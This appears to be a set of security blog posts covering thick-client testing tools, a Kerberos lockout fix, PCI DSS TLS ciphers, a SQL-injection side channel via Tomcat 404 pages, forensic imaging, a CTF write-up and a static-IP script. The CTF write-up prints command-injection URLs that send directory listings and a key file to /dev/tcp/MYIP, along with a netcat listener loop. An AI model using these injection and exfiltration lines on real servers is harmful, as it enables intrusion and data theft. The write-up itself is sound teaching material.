It can get interesting to test the security of thick client applications. If you start debugging you could end up losing a lot of time with not too many results. Of course, time is always at a premium when you pen testing in a week long gig. There are a couple of tools that can really help you to gain insight into a thick client (i.e., an application written in a binary format such as an executable, ActiveX control, flash object, etc.) and communicating to a server using the client/server model.
The need for a proxy to hook into the communications is a prime need and EchoMirage can do a great job of hooking into function calls related to win32 sockets, openssl functions. You have to select an active process for Echomirage to inject into or you can even spawn a process from the menu options in EchoMirage itself. It’s a great tool with a built-in editor so you can edit the traffic. However, sometimes you have to be careful because it’s binary data that you are editing so while editing it is easy to mess up a few flags, etc.
Another great tool is actually a plugin for OllyDbg called UHooker that can let you specify which functions you want to place a hook into. You have to configure a binary editor of your choosing and the functions to be hooked into in a .cfg file. The documentation for Uhooker is located here.

I kept getting the following errors on my AD domain in the event viewer and accounts kept locking out:
Pre-authentication failed:
User Name:      user1
User ID:                DOMAIN\user1
Service Name:   krbtgt/DOMAIN.COM
Pre-Authentication Type:        0x0
Failure Code:   0x12
Client Address: 192.168.246.134

For more information, see Help and Support Center at
http://go.microsoft.com/fwlink/events.asp.

In the Directory Service logs I see the following entry:
[snip]
Active Directory could not update the following object with changes
received from the domain controller at the following network address
because Active Directory was busy processing information.

Turns out this happens if you have samba/winbind/AD type infrastructure. If someone has some processes running (Even if they us sudo) and happen to change their password while the process is running on unix (and using kerberos authentication), the accounts lockout because the kerberos ticket granting ticket (krbtgt) is not current and any object access is considered to be a failed login attempt. This locks out the accounts if you have account lockout implemented in your AD domain security policy.

On April 15, 2015 the PCI SSC released the PCI DSS v3.1.  The main cause for concern for most merchants and other entities (called “entities” hereonforth) that store, transmit and process cardholder data is the prohibition of using SSL and “Early TLS”.  The PCI SSC also released a supplement to assist entities in mitigating the issue.   The supplement references the NIST guideline SP800-52 rev1 for determining which are good ciphers and which are not.

The key point being what does “Early TLS” mean?  Does it mean TLSv1.0 and TLSv1.1 OR does it mean only TLSv1.0?  Are the entities supposed to disable all ciphers except anything that’s TLSv1.2?

Answer is (in consultant speak) “it depends”. 🙂

TLSv1.1 does theoretically have ciphers that are not ideal.  Example: CBC mode ciphers that are TLSv1.1 but there may be a potential for attacks on them given that in the past couple of years CBC has fallen multiple times (BEAST, POODLE).

Google Chrome lists the use of CBC-based ciphers (despite the fact that they’re TLSv1.1) to be obsolete.  Google Chrome essentially makes “obsolete cryptography” a function of using TLS v1.2-based ciphers.

Firefox allows the configuration of disabling TLSv1.0 and that can be done by typing “about:config” in the address bar.  The security.tls.version.min = 0 (means SSLv3), 1 (means TLSv1.0), 2 (means TLSv1.1) and 3 (means TLSv1.2).  The following screenshot shows the configuration snapshot (here the lowest allowed version is TLSv1.0).

Let’s start with what is definitely ok for PCI:

https://www.openssl.org/docs/apps/ciphers.html#TLS-v1.2-cipher-suites

 TLS_RSA_WITH_NULL_SHA256                  NULL-SHA256
 TLS_RSA_WITH_AES_128_CBC_SHA256           AES128-SHA256
 TLS_RSA_WITH_AES_256_CBC_SHA256           AES256-SHA256
 TLS_RSA_WITH_AES_128_GCM_SHA256           AES128-GCM-SHA256
 TLS_RSA_WITH_AES_256_GCM_SHA384           AES256-GCM-SHA384

 TLS_DH_RSA_WITH_AES_128_CBC_SHA256        DH-RSA-AES128-SHA256
 TLS_DH_RSA_WITH_AES_256_CBC_SHA256        DH-RSA-AES256-SHA256
 TLS_DH_RSA_WITH_AES_128_GCM_SHA256        DH-RSA-AES128-GCM-SHA256
 TLS_DH_RSA_WITH_AES_256_GCM_SHA384        DH-RSA-AES256-GCM-SHA384

 TLS_DH_DSS_WITH_AES_128_CBC_SHA256        DH-DSS-AES128-SHA256
 TLS_DH_DSS_WITH_AES_256_CBC_SHA256        DH-DSS-AES256-SHA256
 TLS_DH_DSS_WITH_AES_128_GCM_SHA256        DH-DSS-AES128-GCM-SHA256
 TLS_DH_DSS_WITH_AES_256_GCM_SHA384        DH-DSS-AES256-GCM-SHA384

 TLS_DHE_RSA_WITH_AES_128_CBC_SHA256       DHE-RSA-AES128-SHA256
 TLS_DHE_RSA_WITH_AES_256_CBC_SHA256       DHE-RSA-AES256-SHA256
 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256       DHE-RSA-AES128-GCM-SHA256
 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384       DHE-RSA-AES256-GCM-SHA384

 TLS_DHE_DSS_WITH_AES_128_CBC_SHA256       DHE-DSS-AES128-SHA256
 TLS_DHE_DSS_WITH_AES_256_CBC_SHA256       DHE-DSS-AES256-SHA256
 TLS_DHE_DSS_WITH_AES_128_GCM_SHA256       DHE-DSS-AES128-GCM-SHA256
 TLS_DHE_DSS_WITH_AES_256_GCM_SHA384       DHE-DSS-AES256-GCM-SHA384

 TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256      ECDH-RSA-AES128-SHA256
 TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384      ECDH-RSA-AES256-SHA384
 TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256      ECDH-RSA-AES128-GCM-SHA256
 TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384      ECDH-RSA-AES256-GCM-SHA384

 TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256    ECDH-ECDSA-AES128-SHA256
 TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384    ECDH-ECDSA-AES256-SHA384
 TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256    ECDH-ECDSA-AES128-GCM-SHA256
 TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384    ECDH-ECDSA-AES256-GCM-SHA384

 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256     ECDHE-RSA-AES128-SHA256
 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384     ECDHE-RSA-AES256-SHA384
 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256     ECDHE-RSA-AES128-GCM-SHA256
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384     ECDHE-RSA-AES256-GCM-SHA384

 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256   ECDHE-ECDSA-AES128-SHA256
 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384   ECDHE-ECDSA-AES256-SHA384
 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256   ECDHE-ECDSA-AES128-GCM-SHA256
 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384   ECDHE-ECDSA-AES256-GCM-SHA384

 TLS_DH_anon_WITH_AES_128_CBC_SHA256       ADH-AES128-SHA256
 TLS_DH_anon_WITH_AES_256_CBC_SHA256       ADH-AES256-SHA256
 TLS_DH_anon_WITH_AES_128_GCM_SHA256       ADH-AES128-GCM-SHA256
 TLS_DH_anon_WITH_AES_256_GCM_SHA384       ADH-AES256-GCM-SHA384

 TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 ECDHE-ECDSA-CAMELLIA128-SHA256
 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 ECDHE-ECDSA-CAMELLIA256-SHA384
 TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256  ECDH-ECDSA-CAMELLIA128-SHA256
 TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384  ECDH-ECDSA-CAMELLIA256-SHA384
 TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256   ECDHE-RSA-CAMELLIA128-SHA256
 TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384   ECDHE-RSA-CAMELLIA256-SHA384
 TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256    ECDH-RSA-CAMELLIA128-SHA256
 TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384    ECDH-RSA-CAMELLIA256-SHA384

Now let’s see what may potentially be good from TLSv1.1 perspective (from NIST SP8000-52 rev1):

TLS_RSA_WITH_3DES_EDE_CBC_SHA           DES-CBC3-SHA
TLS_RSA_WITH_AES_128_CBC_SHA            AES128-SHA

Here’s a problem though per OpenSSL man page:

If you’re using OpenSSL, how do you ensure that the browser is not negotiating the vulnerable TLSv1.0 ciphers? The only real answer seems to be by providing a cipher order for negotiation and hoping the client doesn’t cheat.  Most likely, the browser will negotiate a better cipher when it exists in the server and on the client and you’d avert the possibility of negotiation of a bad cipher.

According to experts, anything that uses CBC is inherently broken.  But disabling TLSv1.0 may make the server inaccessible to various older Android devices.  Also, if you’re using older Java Development Kits (JDK7 and below), do remember that the default ciphers may not hit the spot for PCI.

There’s an excellent site to help you configure each type of the server so you could become PCI compliant. This is an excellent site by Ivan Ristic to test your Internet-facing servers for configuration of SSL/TLS encryption.

In conclusion, configure browsers to minimally allow TLSv1.1 and configure servers to use TLSv1.2 to be PCI DSS compliant.  The road to TLSv1.1 compatibility and PCI DSS is filled with potholes and death-falls so do it at your own risk.

A very typical scenario is that by default the Tomcat Servers tend to have a 404 Error page that displays the name of the file that was requested and not found. It seems to me that though display of such pages might be considered as merely an informational item for the purpose of any security test…this definitely presents a risk.
E.g., take this scenario.
1. The attackers has a SQL injection vulnerability in an application
2. The App server and DB can reach each other
3. The DB cannot directly reach the attacker and his system (on any port outbound)
4. The app server issues 404 error messages with the name of the file being disclosed in the 404 error message (e.g., The requested resource indexblah.html was not found).
5. The attacker can see the responses to the injected SQL queries (i.e., the injection is not blind).

Assuming that the DB accesses have been tightly controlled and you can’t get much access to any tables except the current one. This can be exploited as follows:
Invoke a SQL query (in the injection string) on the DB to request a page from the app server based on the contents of the DB such as send me /blahusername, /blahpassword where /blah is a string the attacker’s put in to make sure that such a resource doesn’t actually exist on the app server and username and password are columns or DB names from the DB. These error messages will be reflected in the response to the SQL query to the attacker. This could create an interesting side-channel attack whereby even though the data from the DB doesn’t actually reach the attacker, it can be inferred from the 404 – error messages.

___________       ______________        __________
| Attacker| <===> | App server | <=====>|  DB    |
___________       ______________        __________
      1  ----------> 2  -----------------> 3
                     5  <----------------  4
                     6  -----------------> 7
      10 <---------- 9 <-----------------  8   
1. Attacker sends sql to make the db query the app server for a non-existent page
2. The app server sends this sql query to the DB
3. The DB receives this SQL query and acts on it
4. The HTTP query for a missing resource is sent to the app server
5. App server looks up the resource and can't find it
6. The App server responds with a 404 /blahusername not found
7. The response recd is put in the SQL query response
8. The SQL query response is sent to the app server
9. The App server received the SQL query response (404 /blahusername not found as a line in there)
10. The attacker receives the 404 response with the data from the username in the 404 error message  

An interesting attack vector to say the least!

I like using dcfldd for creating the raw images, because it shows a nice status…it’s interesting to see progress.

dcfldd if=/dev/sda of=/mnt/sdb1/filename.dd hash=md5 md5log=hashfile.md5 conv=noerror,sync bs=4096

It’s the ‘bs’ (stands for bytesize) that makes the difference (…always does doesn’t it ;-).

Autopsy – The forensics browser always uses the ~/.autopsy as the base directory for storing the files from the cases. The following command is helpful in changing the directory in which the cases should be stored:

./autopsy -d /mountpoint/dirname

The exiftool is a cool application that can read meta-information to determine the different types of files.

The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web
The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

I wrote a very small script to set static IPs on a kubuntu box.

#!/bin/bash
if [ $# -lt 4 ]
then
    echo "Usage: $0 <interface> <ip> <netmask> <gateway> <dns1>"
exit
fi
ifconfig $1 $2 netmask $3
echo "Static IP set"
route add default gw $4
echo "Routes added"
if [ "$5" != "" ]
then
    echo "nameserver $5" >>/etc/resolv.conf
fi
echo "DNS set"